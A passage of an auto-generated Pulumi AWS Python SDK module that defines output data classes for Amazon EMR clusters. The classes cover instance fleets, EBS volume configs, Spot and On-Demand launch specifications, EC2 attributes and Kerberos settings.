The bid price for each EC2 Spot instance type as defined by `instance_type`. Expressed in USD. If neither `bid_price` nor `bid_price_as_percentage_of_on_demand_price` is provided, `bid_price_as_percentage_of_on_demand_price` defaults to 100%.
"""
return pulumi.get(self, "bid_price")
@property
@pulumi.getter(name="bidPriceAsPercentageOfOnDemandPrice")
def bid_price_as_percentage_of_on_demand_price(self) -> Optional[float]:
"""
The bid price, as a percentage of On-Demand price, for each EC2 Spot instance as defined by `instance_type`. Expressed as a number (for example, 20 specifies 20%). If neither `bid_price` nor `bid_price_as_percentage_of_on_demand_price` is provided, `bid_price_as_percentage_of_on_demand_price` defaults to 100%.
"""
return pulumi.get(self, "bid_price_as_percentage_of_on_demand_price")
@property
@pulumi.getter
def configurations(self) -> Optional[Sequence['outputs.ClusterCoreInstanceFleetInstanceTypeConfigConfiguration']]:
"""
A configuration classification that applies when provisioning cluster instances, which can include configurations for applications and software that run on the cluster. List of `configuration` blocks.
"""
return pulumi.get(self, "configurations")
@property
@pulumi.getter(name="ebsConfigs")
def ebs_configs(self) -> Optional[Sequence['outputs.ClusterCoreInstanceFleetInstanceTypeConfigEbsConfig']]:
"""
Configuration block(s) for EBS volumes attached to each instance in the instance group. Detailed below.
"""
return pulumi.get(self, "ebs_configs")
@property
@pulumi.getter(name="weightedCapacity")
def weighted_capacity(self) -> Optional[int]:
"""
The number of units that a provisioned instance of this type provides toward fulfilling the target capacities defined in `emr.InstanceFleet`.
"""
return pulumi.get(self, "weighted_capacity")
@pulumi.output_type
class ClusterCoreInstanceFleetInstanceTypeConfigConfiguration(dict):
def __init__(__self__, *,
classification: Optional[str] = None,
properties: Optional[Mapping[str, Any]] = None):
"""
:param str classification: The classification within a configuration.
:param Mapping[str, Any] properties: A map of properties specified within a configuration classification
"""
if classification is not None:
pulumi.set(__self__, "classification", classification)
if properties is not None:
pulumi.set(__self__, "properties", properties)
@property
@pulumi.getter
def classification(self) -> Optional[str]:
"""
The classification within a configuration.
"""
return pulumi.get(self, "classification")
@property
@pulumi.getter
def properties(self) -> Optional[Mapping[str, Any]]:
"""
A map of properties specified within a configuration classification
"""
return pulumi.get(self, "properties")
@pulumi.output_type
class ClusterCoreInstanceFleetInstanceTypeConfigEbsConfig(dict):
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "volumesPerInstance":
suggest = "volumes_per_instance"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in ClusterCoreInstanceFleetInstanceTypeConfigEbsConfig. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
ClusterCoreInstanceFleetInstanceTypeConfigEbsConfig.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
ClusterCoreInstanceFleetInstanceTypeConfigEbsConfig.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
size: int,
type: str,
iops: Optional[int] = None,
volumes_per_instance: Optional[int] = None):
"""
:param int size: The volume size, in gibibytes (GiB).
:param str type: The volume type. Valid options are `gp2`, `io1`, `standard` and `st1`. See [EBS Volume Types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html).
:param int iops: The number of I/O operations per second (IOPS) that the volume supports
:param int volumes_per_instance: The number of EBS volumes with this configuration to attach to each EC2 instance in the instance group (default is 1)
"""
pulumi.set(__self__, "size", size)
pulumi.set(__self__, "type", type)
if iops is not None:
pulumi.set(__self__, "iops", iops)
if volumes_per_instance is not None:
pulumi.set(__self__, "volumes_per_instance", volumes_per_instance)
@property
@pulumi.getter
def size(self) -> int:
"""
The volume size, in gibibytes (GiB).
"""
return pulumi.get(self, "size")
@property
@pulumi.getter
def type(self) -> str:
"""
The volume type. Valid options are `gp2`, `io1`, `standard` and `st1`. See [EBS Volume Types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html).
"""
return pulumi.get(self, "type")
@property
@pulumi.getter
def iops(self) -> Optional[int]:
"""
The number of I/O operations per second (IOPS) that the volume supports
"""
return pulumi.get(self, "iops")
@property
@pulumi.getter(name="volumesPerInstance")
def volumes_per_instance(self) -> Optional[int]:
"""
The number of EBS volumes with this configuration to attach to each EC2 instance in the instance group (default is 1)
"""
return pulumi.get(self, "volumes_per_instance")
@pulumi.output_type
class ClusterCoreInstanceFleetLaunchSpecifications(dict):
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "onDemandSpecifications":
suggest = "on_demand_specifications"
elif key == "spotSpecifications":
suggest = "spot_specifications"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in ClusterCoreInstanceFleetLaunchSpecifications. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
ClusterCoreInstanceFleetLaunchSpecifications.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
ClusterCoreInstanceFleetLaunchSpecifications.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
on_demand_specifications: Optional[Sequence['outputs.ClusterCoreInstanceFleetLaunchSpecificationsOnDemandSpecification']] = None,
spot_specifications: Optional[Sequence['outputs.ClusterCoreInstanceFleetLaunchSpecificationsSpotSpecification']] = None):
"""
:param Sequence['ClusterCoreInstanceFleetLaunchSpecificationsOnDemandSpecificationArgs'] on_demand_specifications: Configuration block for on demand instances launch specifications
:param Sequence['ClusterCoreInstanceFleetLaunchSpecificationsSpotSpecificationArgs'] spot_specifications: Configuration block for spot instances launch specifications
"""
if on_demand_specifications is not None:
pulumi.set(__self__, "on_demand_specifications", on_demand_specifications)
if spot_specifications is not None:
pulumi.set(__self__, "spot_specifications", spot_specifications)
@property
@pulumi.getter(name="onDemandSpecifications")
def on_demand_specifications(self) -> Optional[Sequence['outputs.ClusterCoreInstanceFleetLaunchSpecificationsOnDemandSpecification']]:
"""
Configuration block for on demand instances launch specifications
"""
return pulumi.get(self, "on_demand_specifications")
@property
@pulumi.getter(name="spotSpecifications")
def spot_specifications(self) -> Optional[Sequence['outputs.ClusterCoreInstanceFleetLaunchSpecificationsSpotSpecification']]:
"""
Configuration block for spot instances launch specifications
"""
return pulumi.get(self, "spot_specifications")
@pulumi.output_type
class ClusterCoreInstanceFleetLaunchSpecificationsOnDemandSpecification(dict):
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "allocationStrategy":
suggest = "allocation_strategy"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in ClusterCoreInstanceFleetLaunchSpecificationsOnDemandSpecification. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
ClusterCoreInstanceFleetLaunchSpecificationsOnDemandSpecification.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
ClusterCoreInstanceFleetLaunchSpecificationsOnDemandSpecification.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
allocation_strategy: str):
"""
:param str allocation_strategy: Specifies the strategy to use in launching Spot instance fleets. Currently, the only option is `capacity-optimized` (the default), which launches instances from Spot instance pools with optimal capacity for the number of instances that are launching.
"""
pulumi.set(__self__, "allocation_strategy", allocation_strategy)
@property
@pulumi.getter(name="allocationStrategy")
def allocation_strategy(self) -> str:
"""
Specifies the strategy to use in launching Spot instance fleets. Currently, the only option is `capacity-optimized` (the default), which launches instances from Spot instance pools with optimal capacity for the number of instances that are launching.
"""
return pulumi.get(self, "allocation_strategy")
@pulumi.output_type
class ClusterCoreInstanceFleetLaunchSpecificationsSpotSpecification(dict):
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "allocationStrategy":
suggest = "allocation_strategy"
elif key == "timeoutAction":
suggest = "timeout_action"
elif key == "timeoutDurationMinutes":
suggest = "timeout_duration_minutes"
elif key == "blockDurationMinutes":
suggest = "block_duration_minutes"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in ClusterCoreInstanceFleetLaunchSpecificationsSpotSpecification. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
ClusterCoreInstanceFleetLaunchSpecificationsSpotSpecification.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
ClusterCoreInstanceFleetLaunchSpecificationsSpotSpecification.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
allocation_strategy: str,
timeout_action: str,
timeout_duration_minutes: int,
block_duration_minutes: Optional[int] = None):
"""
:param str allocation_strategy: Specifies the strategy to use in launching Spot instance fleets. Currently, the only option is `capacity-optimized` (the default), which launches instances from Spot instance pools with optimal capacity for the number of instances that are launching.
:param str timeout_action: The action to take when TargetSpotCapacity has not been fulfilled when the TimeoutDurationMinutes has expired; that is, when all Spot instances could not be provisioned within the Spot provisioning timeout. Valid values are `TERMINATE_CLUSTER` and `SWITCH_TO_ON_DEMAND`. SWITCH_TO_ON_DEMAND specifies that if no Spot instances are available, On-Demand Instances should be provisioned to fulfill any remaining Spot capacity.
:param int timeout_duration_minutes: The spot provisioning timeout period in minutes. If Spot instances are not provisioned within this time period, the TimeOutAction is taken. Minimum value is 5 and maximum value is 1440. The timeout applies only during initial provisioning, when the cluster is first created.
:param int block_duration_minutes: The defined duration for Spot instances (also known as Spot blocks) in minutes. When specified, the Spot instance does not terminate before the defined duration expires, and defined duration pricing for Spot instances applies. Valid values are 60, 120, 180, 240, 300, or 360. The duration period starts as soon as a Spot instance receives its instance ID. At the end of the duration, Amazon EC2 marks the Spot instance for termination and provides a Spot instance termination notice, which gives the instance a two-minute warning before it terminates.
"""
pulumi.set(__self__, "allocation_strategy", allocation_strategy)
pulumi.set(__self__, "timeout_action", timeout_action)
pulumi.set(__self__, "timeout_duration_minutes", timeout_duration_minutes)
if block_duration_minutes is not None:
pulumi.set(__self__, "block_duration_minutes", block_duration_minutes)
@property
@pulumi.getter(name="allocationStrategy")
def allocation_strategy(self) -> str:
"""
Specifies the strategy to use in launching Spot instance fleets. Currently, the only option is `capacity-optimized` (the default), which launches instances from Spot instance pools with optimal capacity for the number of instances that are launching.
"""
return pulumi.get(self, "allocation_strategy")
@property
@pulumi.getter(name="timeoutAction")
def timeout_action(self) -> str:
"""
The action to take when TargetSpotCapacity has not been fulfilled when the TimeoutDurationMinutes has expired; that is, when all Spot instances could not be provisioned within the Spot provisioning timeout. Valid values are `TERMINATE_CLUSTER` and `SWITCH_TO_ON_DEMAND`. SWITCH_TO_ON_DEMAND specifies that if no Spot instances are available, On-Demand Instances should be provisioned to fulfill any remaining Spot capacity.
"""
return pulumi.get(self, "timeout_action")
@property
@pulumi.getter(name="timeoutDurationMinutes")
def timeout_duration_minutes(self) -> int:
"""
The spot provisioning timeout period in minutes. If Spot instances are not provisioned within this time period, the TimeOutAction is taken. Minimum value is 5 and maximum value is 1440. The timeout applies only during initial provisioning, when the cluster is first created.
"""
return pulumi.get(self, "timeout_duration_minutes")
@property
@pulumi.getter(name="blockDurationMinutes")
def block_duration_minutes(self) -> Optional[int]:
"""
The defined duration for Spot instances (also known as Spot blocks) in minutes. When specified, the Spot instance does not terminate before the defined duration expires, and defined duration pricing for Spot instances applies. Valid values are 60, 120, 180, 240, 300, or 360. The duration period starts as soon as a Spot instance receives its instance ID. At the end of the duration, Amazon EC2 marks the Spot instance for termination and provides a Spot instance termination notice, which gives the instance a two-minute warning before it terminates.
"""
return pulumi.get(self, "block_duration_minutes")
@pulumi.output_type
class ClusterCoreInstanceGroup(dict):
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "instanceType":
suggest = "instance_type"
elif key == "autoscalingPolicy":
suggest = "autoscaling_policy"
elif key == "bidPrice":
suggest = "bid_price"
elif key == "ebsConfigs":
suggest = "ebs_configs"
elif key == "instanceCount":
suggest = "instance_count"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in ClusterCoreInstanceGroup. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
ClusterCoreInstanceGroup.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
ClusterCoreInstanceGroup.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
instance_type: str,
autoscaling_policy: Optional[str] = None,
bid_price: Optional[str] = None,
ebs_configs: Optional[Sequence['outputs.ClusterCoreInstanceGroupEbsConfig']] = None,
id: Optional[str] = None,
instance_count: Optional[int] = None,
name: Optional[str] = None):
"""
:param str instance_type: An EC2 instance type, such as m4.xlarge.
:param str autoscaling_policy: String containing the [EMR Auto Scaling Policy](https://docs.aws.amazon.com/emr/latest/ManagementGuide/emr-automatic-scaling.html) JSON.
:param str bid_price: The bid price for each EC2 Spot instance type as defined by `instance_type`. Expressed in USD. If neither `bid_price` nor `bid_price_as_percentage_of_on_demand_price` is provided, `bid_price_as_percentage_of_on_demand_price` defaults to 100%.
:param Sequence['ClusterCoreInstanceGroupEbsConfigArgs'] ebs_configs: Configuration block(s) for EBS volumes attached to each instance in the instance group. Detailed below.
:param str id: The ID of the EMR Cluster
:param int instance_count: Target number of instances for the instance group. Must be 1 or 3. Defaults to 1. Launching with multiple master nodes is only supported in EMR version 5.23.0+, and requires this resource's `core_instance_group` to be configured. Public (Internet accessible) instances must be created in VPC subnets that have `map public IP on launch` enabled. Termination protection is automatically enabled when launched with multiple master nodes and this provider must have the `termination_protection = false` configuration applied before destroying this resource.
:param str name: Friendly name given to the instance fleet.
"""
pulumi.set(__self__, "instance_type", instance_type)
if autoscaling_policy is not None:
pulumi.set(__self__, "autoscaling_policy", autoscaling_policy)
if bid_price is not None:
pulumi.set(__self__, "bid_price", bid_price)
if ebs_configs is not None:
pulumi.set(__self__, "ebs_configs", ebs_configs)
if id is not None:
pulumi.set(__self__, "id", id)
if instance_count is not None:
pulumi.set(__self__, "instance_count", instance_count)
if name is not None:
pulumi.set(__self__, "name", name)
@property
@pulumi.getter(name="instanceType")
def instance_type(self) -> str:
"""
An EC2 instance type, such as m4.xlarge.
"""
return pulumi.get(self, "instance_type")
@property
@pulumi.getter(name="autoscalingPolicy")
def autoscaling_policy(self) -> Optional[str]:
"""
String containing the [EMR Auto Scaling Policy](https://docs.aws.amazon.com/emr/latest/ManagementGuide/emr-automatic-scaling.html) JSON.
"""
return pulumi.get(self, "autoscaling_policy")
@property
@pulumi.getter(name="bidPrice")
def bid_price(self) -> Optional[str]:
"""
The bid price for each EC2 Spot instance type as defined by `instance_type`. Expressed in USD. If neither `bid_price` nor `bid_price_as_percentage_of_on_demand_price` is provided, `bid_price_as_percentage_of_on_demand_price` defaults to 100%.
"""
return pulumi.get(self, "bid_price")
@property
@pulumi.getter(name="ebsConfigs")
def ebs_configs(self) -> Optional[Sequence['outputs.ClusterCoreInstanceGroupEbsConfig']]:
"""
Configuration block(s) for EBS volumes attached to each instance in the instance group. Detailed below.
"""
return pulumi.get(self, "ebs_configs")
@property
@pulumi.getter
def id(self) -> Optional[str]:
"""
The ID of the EMR Cluster
"""
return pulumi.get(self, "id")
@property
@pulumi.getter(name="instanceCount")
def instance_count(self) -> Optional[int]:
"""
Target number of instances for the instance group. Must be 1 or 3. Defaults to 1. Launching with multiple master nodes is only supported in EMR version 5.23.0+, and requires this resource's `core_instance_group` to be configured. Public (Internet accessible) instances must be created in VPC subnets that have `map public IP on launch` enabled. Termination protection is automatically enabled when launched with multiple master nodes and this provider must have the `termination_protection = false` configuration applied before destroying this resource.
"""
return pulumi.get(self, "instance_count")
@property
@pulumi.getter
def name(self) -> Optional[str]:
"""
Friendly name given to the instance fleet.
"""
return pulumi.get(self, "name")
@pulumi.output_type
class ClusterCoreInstanceGroupEbsConfig(dict):
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "volumesPerInstance":
suggest = "volumes_per_instance"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in ClusterCoreInstanceGroupEbsConfig. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
ClusterCoreInstanceGroupEbsConfig.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
ClusterCoreInstanceGroupEbsConfig.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
size: int,
type: str,
iops: Optional[int] = None,
volumes_per_instance: Optional[int] = None):
"""
:param int size: The volume size, in gibibytes (GiB).
:param str type: The volume type. Valid options are `gp2`, `io1`, `standard` and `st1`. See [EBS Volume Types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html).
:param int iops: The number of I/O operations per second (IOPS) that the volume supports
:param int volumes_per_instance: The number of EBS volumes with this configuration to attach to each EC2 instance in the instance group (default is 1)
"""
pulumi.set(__self__, "size", size)
pulumi.set(__self__, "type", type)
if iops is not None:
pulumi.set(__self__, "iops", iops)
if volumes_per_instance is not None:
pulumi.set(__self__, "volumes_per_instance", volumes_per_instance)
@property
@pulumi.getter
def size(self) -> int:
"""
The volume size, in gibibytes (GiB).
"""
return pulumi.get(self, "size")
@property
@pulumi.getter
def type(self) -> str:
"""
The volume type. Valid options are `gp2`, `io1`, `standard` and `st1`. See [EBS Volume Types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html).
"""
return pulumi.get(self, "type")
@property
@pulumi.getter
def iops(self) -> Optional[int]:
"""
The number of I/O operations per second (IOPS) that the volume supports
"""
return pulumi.get(self, "iops")
@property
@pulumi.getter(name="volumesPerInstance")
def volumes_per_instance(self) -> Optional[int]:
"""
The number of EBS volumes with this configuration to attach to each EC2 instance in the instance group (default is 1)
"""
return pulumi.get(self, "volumes_per_instance")
@pulumi.output_type
class ClusterEc2Attributes(dict):
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "instanceProfile":
suggest = "instance_profile"
elif key == "additionalMasterSecurityGroups":
suggest = "additional_master_security_groups"
elif key == "additionalSlaveSecurityGroups":
suggest = "additional_slave_security_groups"
elif key == "emrManagedMasterSecurityGroup":
suggest = "emr_managed_master_security_group"
elif key == "emrManagedSlaveSecurityGroup":
suggest = "emr_managed_slave_security_group"
elif key == "keyName":
suggest = "key_name"
elif key == "serviceAccessSecurityGroup":
suggest = "service_access_security_group"
elif key == "subnetId":
suggest = "subnet_id"
elif key == "subnetIds":
suggest = "subnet_ids"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in ClusterEc2Attributes. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
ClusterEc2Attributes.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
ClusterEc2Attributes.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
instance_profile: str,
additional_master_security_groups: Optional[str] = None,
additional_slave_security_groups: Optional[str] = None,
emr_managed_master_security_group: Optional[str] = None,
emr_managed_slave_security_group: Optional[str] = None,
key_name: Optional[str] = None,
service_access_security_group: Optional[str] = None,
subnet_id: Optional[str] = None,
subnet_ids: Optional[Sequence[str]] = None):
"""
:param str instance_profile: Instance Profile for EC2 instances of the cluster assume this role
:param str additional_master_security_groups: String containing a comma separated list of additional Amazon EC2 security group IDs for the master node
:param str additional_slave_security_groups: String containing a comma separated list of additional Amazon EC2 security group IDs for the slave nodes as a comma separated string
:param str emr_managed_master_security_group: Identifier of the Amazon EC2 EMR-Managed security group for the master node
:param str emr_managed_slave_security_group: Identifier of the Amazon EC2 EMR-Managed security group for the slave nodes
:param str key_name: Amazon EC2 key pair that can be used to ssh to the master node as the user called `hadoop`
:param str service_access_security_group: Identifier of the Amazon EC2 service-access security group - required when the cluster runs on a private subnet
:param str subnet_id: VPC subnet id where you want the job flow to launch. Cannot specify the `cc1.4xlarge` instance type for nodes of a job flow launched in a Amazon VPC
:param Sequence[str] subnet_ids: List of VPC subnet id-s where you want the job flow to launch. Amazon EMR identifies the best Availability Zone to launch instances according to your fleet specifications
"""
pulumi.set(__self__, "instance_profile", instance_profile)
if additional_master_security_groups is not None:
pulumi.set(__self__, "additional_master_security_groups", additional_master_security_groups)
if additional_slave_security_groups is not None:
pulumi.set(__self__, "additional_slave_security_groups", additional_slave_security_groups)
if emr_managed_master_security_group is not None:
pulumi.set(__self__, "emr_managed_master_security_group", emr_managed_master_security_group)
if emr_managed_slave_security_group is not None:
pulumi.set(__self__, "emr_managed_slave_security_group", emr_managed_slave_security_group)
if key_name is not None:
pulumi.set(__self__, "key_name", key_name)
if service_access_security_group is not None:
pulumi.set(__self__, "service_access_security_group", service_access_security_group)
if subnet_id is not None:
pulumi.set(__self__, "subnet_id", subnet_id)
if subnet_ids is not None:
pulumi.set(__self__, "subnet_ids", subnet_ids)
@property
@pulumi.getter(name="instanceProfile")
def instance_profile(self) -> str:
"""
Instance Profile for EC2 instances of the cluster assume this role
"""
return pulumi.get(self, "instance_profile")
@property
@pulumi.getter(name="additionalMasterSecurityGroups")
def additional_master_security_groups(self) -> Optional[str]:
"""
String containing a comma separated list of additional Amazon EC2 security group IDs for the master node
"""
return pulumi.get(self, "additional_master_security_groups")
@property
@pulumi.getter(name="additionalSlaveSecurityGroups")
def additional_slave_security_groups(self) -> Optional[str]:
"""
String containing a comma separated list of additional Amazon EC2 security group IDs for the slave nodes as a comma separated string
"""
return pulumi.get(self, "additional_slave_security_groups")
@property
@pulumi.getter(name="emrManagedMasterSecurityGroup")
def emr_managed_master_security_group(self) -> Optional[str]:
"""
Identifier of the Amazon EC2 EMR-Managed security group for the master node
"""
return pulumi.get(self, "emr_managed_master_security_group")
@property
@pulumi.getter(name="emrManagedSlaveSecurityGroup")
def emr_managed_slave_security_group(self) -> Optional[str]:
"""
Identifier of the Amazon EC2 EMR-Managed security group for the slave nodes
"""
return pulumi.get(self, "emr_managed_slave_security_group")
@property
@pulumi.getter(name="keyName")
def key_name(self) -> Optional[str]:
"""
Amazon EC2 key pair that can be used to ssh to the master node as the user called `hadoop`
"""
return pulumi.get(self, "key_name")
@property
@pulumi.getter(name="serviceAccessSecurityGroup")
def service_access_security_group(self) -> Optional[str]:
"""
Identifier of the Amazon EC2 service-access security group - required when the cluster runs on a private subnet
"""
return pulumi.get(self, "service_access_security_group")
@property
@pulumi.getter(name="subnetId")
def subnet_id(self) -> Optional[str]:
"""
VPC subnet id where you want the job flow to launch. Cannot specify the `cc1.4xlarge` instance type for nodes of a job flow launched in a Amazon VPC
"""
return pulumi.get(self, "subnet_id")
@property
@pulumi.getter(name="subnetIds")
def subnet_ids(self) -> Optional[Sequence[str]]:
"""
List of VPC subnet id-s where you want the job flow to launch. Amazon EMR identifies the best Availability Zone to launch instances according to your fleet specifications
"""
return pulumi.get(self, "subnet_ids")
@pulumi.output_type
class ClusterKerberosAttributes(dict):
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "kdcAdminPassword":
suggest = "kdc_admin_password"
elif key == "adDomainJoinPassword":
suggest = "ad_domain_join_password"
elif key == "adDomainJoinUser":
suggest = "ad_domain_join_user"
elif key == "crossRealmTrustPrincipalPassword":
suggest = "cross_realm_trust_principal_password"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in ClusterKerberosAttributes. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
ClusterKerberosAttributes.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
ClusterKerberosAttributes.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
kdc_admin_password: str,
realm: str,
ad_domain_join_password: Optional[str] = None,
ad_domain_join_user: Optional[str] = None,
cross_realm_trust_principal_password: Optional[str] = None):
"""
:param str kdc_admin_password: The password used within the cluster for the kadmin service on the cluster-dedicated KDC, which maintains Kerberos principals, password policies, and keytabs for the cluster. This provider cannot perform drift detection of this configuration.
:param str realm: The name of the Kerberos realm to which all nodes in a cluster belong. For example, `EC2.INTERNAL`
:param str ad_domain_join_password: The Active Directory password for `ad_domain_join_user`. This provider cannot perform drift detection of this configuration.
:param str ad_domain_join_user: Required only when establishing a cross-realm trust with an Active Directory domain. A user with sufficient privileges to join resources to the domain. This provider cannot perform drift detection of this configuration.
:param str cross_realm_trust_principal_password: Required only when establishing a cross-realm trust with a KDC in a different realm. The cross-realm principal password, which must be identical across realms. This provider cannot perform drift detection of this configuration.
"""
pulumi.set(__self__, "kdc_admin_password", kdc_admin_password)
pulumi.set(__self__, "realm", realm)
if ad_domain_join_password is not None:
pulumi.set(__self__, "ad_domain_join_password", ad_domain_join_password)
if ad_domain_join_user is not None:
pulumi.set(__self__, "ad_domain_join_user", ad_domain_join_user)
if cross_realm_trust_principal_password is not None:
pulumi.set(__self__, "cross_realm_trust_principal_password", cross_realm_trust_principal_password)
@property
@pulumi.getter(name="kdcAdminPassword")
def kdc_admin_password(self) -> str:
"""
The password used within the cluster for the kadmin service on the cluster-dedicated KDC, which maintains Kerberos principals, password policies, and keytabs for the cluster. This provider cannot perform drift detection of this configuration.
"""
return pulumi.get(self, "kdc_admin_password")
@property
@pulumi.getter
def realm(self) -> str:
"""
The name of the Kerberos realm to which all nodes in a cluster belong. For example, `EC2.INTERNAL`
"""
return pulumi.get(self, "realm")
@property
@pulumi.getter(name="adDomainJoinPassword")
def ad_domain_join_password(self) -> Optional[str]:
"""
The Active Directory password for `ad_domain_join_user`. This provider cannot perform drift detection of this configuration.
"""
return pulumi.get(self, "ad_domain_join_password")
@property
@pulumi.getter(name="adDomainJoinUser")
def ad_domain_join_user(self) -> Optional[str]:
"""
Required only when establishing a cross-realm trust with an Active Directory domain. A user with sufficient privileges to join resources to the domain. This provider cannot perform drift detection of this configuration.
"""
return pulumi.get(self, "ad_domain_join_user")
@property
@pulumi.getter(name="crossRealmTrustPrincipalPassword")
def cross_realm_trust_principal_password(self) -> Optional[str]:
"""
Required only when establishing a cross-realm trust with a KDC in a different realm. The cross-realm principal password, which must be identical across realms. This provider cannot perform drift detection of this configuration.
"""
return pulumi.get(self, "cross_realm_trust_principal_password")
@pulumi.output_type
class ClusterMasterInstanceFleet(dict):
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "instanceTypeConfigs":
suggest = "instance_type_configs"
elif key == "launchSpecifications":
suggest = "launch_specifications"
elif key == "provisionedOnDemandCapacity":
suggest = "provisioned_on_demand_capacity"
elif key == "provisionedSpotCapacity":
suggest = "provisioned_spot_capacity"
elif key == "targetOnDemandCapacity":
suggest = "target_on_demand_capacity"
elif key == "targetSpotCapacity":
suggest = "target_spot_capacity"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in ClusterMasterInstanceFleet. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
ClusterMasterInstanceFleet.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
ClusterMasterInstanceFleet.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
id: Optional[str] = None,
instance_type_configs: Optional[Sequence['outputs.ClusterMasterInstanceFleetInstanceTypeConfig']] = None,
launch_specifications: Optional['outputs.ClusterMasterInstanceFleetLaunchSpecifications'] = None,
name: Optional[str] = None,
provisioned_on_demand_capacity: Optional[int] = None,
provisioned_spot_capacity: Optional[int] = None,
target_on_demand_capacity: Optional[int] = None,
target_spot_capacity: Optional[int] = None):
"""
:param str id: The ID of the EMR Cluster
:param Sequence['ClusterMasterInstanceFleetInstanceTypeConfigArgs'] instance_type_configs: Configuration block for instance fleet
:param 'ClusterMasterInstanceFleetLaunchSpecificationsArgs' launch_specifications: Configuration block for launch specification
:param str name: Friendly name given to the instance fleet.
:param int target_on_demand_capacity: The target capacity of On-Demand units for the instance fleet, which determines how many On-Demand instances to provision.
:param int target_spot_capacity: The target capacity of Spot units for the instance fleet, which determines how many Spot instances to provision.
"""
if id is not None:
pulumi.set(__self__, "id", id)
if instance_type_configs is not None:
pulumi.set(__self__, "instance_type_configs", instance_type_configs)
if launch_specifications is not None:
pulumi.set(__self__, "launch_specifications", launch_specifications)
if name is not None:
pulumi.set(__self__, "name", name)
if provisioned_on_demand_capacity is not None:
pulumi.set(__self__, "provisioned_on_demand_capacity", provisioned_on_demand_capacity)
if provisioned_spot_capacity is not None:
pulumi.set(__self__, "provisioned_spot_capacity", provisioned_spot_capacity)
if target_on_demand_capacity is not None:
pulumi.set(__self__, "target_on_demand_capacity", target_on_demand_capacity)
if target_spot_capacity is not None:
pulumi.set(__self__, "target_spot_capacity", target_spot_capacity)
@property
@pulumi.getter
def id(self) -> Optional[str]:
"""
The ID of the EMR Cluster
"""
return pulumi.get(self, "id")
@property
@pulumi.getter(name="instanceTypeConfigs")
def instance_type_configs(self) -> Optional[Sequence['outputs.ClusterMasterInstanceFleetInstanceTypeConfig']]:
"""
Configuration block for instance fleet
"""
return pulumi.get(self, "instance_type_configs")
@property
@pulumi.getter(name="launchSpecifications")
def launch_specifications(self) -> Optional['outputs.ClusterMasterInstanceFleetLaunchSpecifications']:
"""
Configuration block for launch specification
"""
return pulumi.get(self, "launch_specifications")
@property
@pulumi.getter
def name(self) -> Optional[str]:
"""
Friendly name given to the instance fleet.
"""
return pulumi.get(self, "name")
@property
@pulumi.getter(name="provisionedOnDemandCapacity")
def provisioned_on_demand_capacity(self) -> Optional[int]:
return pulumi.get(self, "provisioned_on_demand_capacity")
@property
@pulumi.getter(name="provisionedSpotCapacity")
def provisioned_spot_capacity(self) -> Optional[int]:
return pulumi.get(self, "provisioned_spot_capacity")
@property
@pulumi.getter(name="targetOnDemandCapacity")
def target_on_demand_capacity(self) -> Optional[int]:
"""
The target capacity of On-Demand units for the instance fleet, which determines how many On-Demand instances to provision.
"""
return pulumi.get(self, "target_on_demand_capacity")
@property
@pulumi.getter(name="targetSpotCapacity")
def target_spot_capacity(self) -> Optional[int]:
"""
The target capacity of Spot units for the instance fleet, which determines how many Spot instances to provision.
"""
return pulumi.get(self, "target_spot_capacity")
@pulumi.output_type
class ClusterMasterInstanceFleetInstanceTypeConfig(dict):
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "instanceType":
suggest = "instance_type"
elif key == "bidPrice":
suggest = "bid_price"
elif key == "bidPriceAsPercentageOfOnDemandPrice":
